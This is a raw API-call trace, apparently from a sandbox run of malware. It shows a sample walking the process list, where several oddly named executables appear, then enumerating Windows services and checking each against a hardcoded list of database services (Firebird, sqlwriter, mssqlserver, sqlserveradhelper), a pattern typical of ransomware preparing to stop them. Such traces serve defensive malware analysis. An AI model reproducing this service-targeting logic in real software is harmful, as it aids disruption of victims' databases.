	[0042.207] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0042.208] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0042.208] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0042.208] lstrlenW (lpString="SearchUI.exe") returned 12
	[0042.208] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0042.209] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0042.209] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0042.210] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0042.210] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0042.210] lstrlenW (lpString="taskhostw.exe") returned 13
	[0042.210] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0042.211] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0042.211] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0042.212] lstrlenW (lpString="UsoClient.exe") returned 13
	[0042.212] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0042.212] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0042.212] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0042.213] lstrlenW (lpString="taskhostw.exe") returned 13
	[0042.213] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0042.224] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0042.224] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0042.225] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0042.225] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0042.226] lstrlenW (lpString="msoia.exe") returned 9
	[0042.226] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0042.226] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0042.226] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0042.227] lstrlenW (lpString="msoia.exe") returned 9
	[0042.227] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0042.228] lstrlenW (lpString="roof.exe") returned 8
	[0042.228] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0042.228] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0042.228] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0042.229] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0042.229] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0042.230] lstrlenW (lpString="cause.exe") returned 9
	[0042.230] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0042.231] lstrlenW (lpString="occasionstax.exe") returned 16
	[0042.231] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0042.231] lstrlenW (lpString="distributors.exe") returned 16
	[0042.231] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0042.232] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0042.232] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0042.233] lstrlenW (lpString="rand.exe") returned 8
	[0042.233] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0042.233] lstrlenW (lpString="unlikely.exe") returned 12
	[0042.234] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0042.234] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0042.234] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0042.235] lstrlenW (lpString="promotion.exe") returned 13
	[0042.235] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0042.236] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0042.236] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0042.236] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0042.236] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0042.237] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0042.237] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0042.238] lstrlenW (lpString="bad-length.exe") returned 14
	[0042.238] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0042.239] lstrlenW (lpString="unit.exe") returned 8
	[0042.239] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0042.240] lstrlenW (lpString="parents.exe") returned 11
	[0042.240] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0042.240] lstrlenW (lpString="charge.exe") returned 10
	[0042.241] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0042.241] lstrlenW (lpString="measures-provision.exe") returned 22
	[0042.241] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0042.242] lstrlenW (lpString="dllhost.exe") returned 11
	[0042.242] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0042.243] lstrlenW (lpString="conhost.exe") returned 11
	[0042.243] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0042.243] lstrlenW (lpString="conhost.exe") returned 11
	[0042.243] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0042.244] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0042.244] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0042.245] lstrlenW (lpString="cmd.exe") returned 7
	[0042.245] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0042.246] lstrlenW (lpString="conhost.exe") returned 11
	[0042.246] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0042.247] lstrlenW (lpString="svchost.exe") returned 11
	[0042.247] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0042.248] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0042.248] Process32NextW (in: hSnapshot=0x344, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 0
	[0042.249] CloseHandle (hObject=0x344) returned 1
	[0042.249] Sleep (dwMilliseconds=0x1f4) 
	[0043.172] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fcd8
	[0043.172] EnumServicesStatusExW (in: hSCManager=0x68fcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0043.173] GetLastError () returned 0xea
	[0043.173] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c12) returned 0x3bf4e60
	[0043.173] EnumServicesStatusExW (in: hSCManager=0x68fcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bf4e60, cbBufSize=0x1c12, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bf4e60, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0043.174] CloseServiceHandle (hSCObject=0x68fcd8) returned 1
	[0043.174] lstrlenW (lpString="Appinfo") returned 7
	[0043.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0043.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0043.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0043.174] lstrlenW (lpString="AppXSvc") returned 7
	[0043.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0043.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0043.174] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0043.174] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0043.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0043.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0043.174] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0043.174] lstrlenW (lpString="Audiosrv") returned 8
	[0043.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0043.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0043.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0043.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0043.174] lstrlenW (lpString="BFE") returned 3
	[0043.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0043.175] lstrlenW (lpString="BITS") returned 4
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0043.175] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0043.175] lstrlenW (lpString="CDPSvc") returned 6
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0043.175] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0043.175] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0043.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0043.175] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0043.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0043.175] lstrlenW (lpString="CryptSvc") returned 8
	[0043.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0043.176] lstrlenW (lpString="DcomLaunch") returned 10
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0043.176] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0043.176] lstrlenW (lpString="Dhcp") returned 4
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0043.176] lstrlenW (lpString="Dnscache") returned 8
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0043.176] lstrlenW (lpString="DPS") returned 3
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0043.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0043.176] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0043.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0043.176] lstrlenW (lpString="DusmSvc") returned 7
	[0043.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0043.177] lstrlenW (lpString="EventLog") returned 8
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0043.177] lstrlenW (lpString="EventSystem") returned 11
	[0043.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0043.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0043.177] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0043.177] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
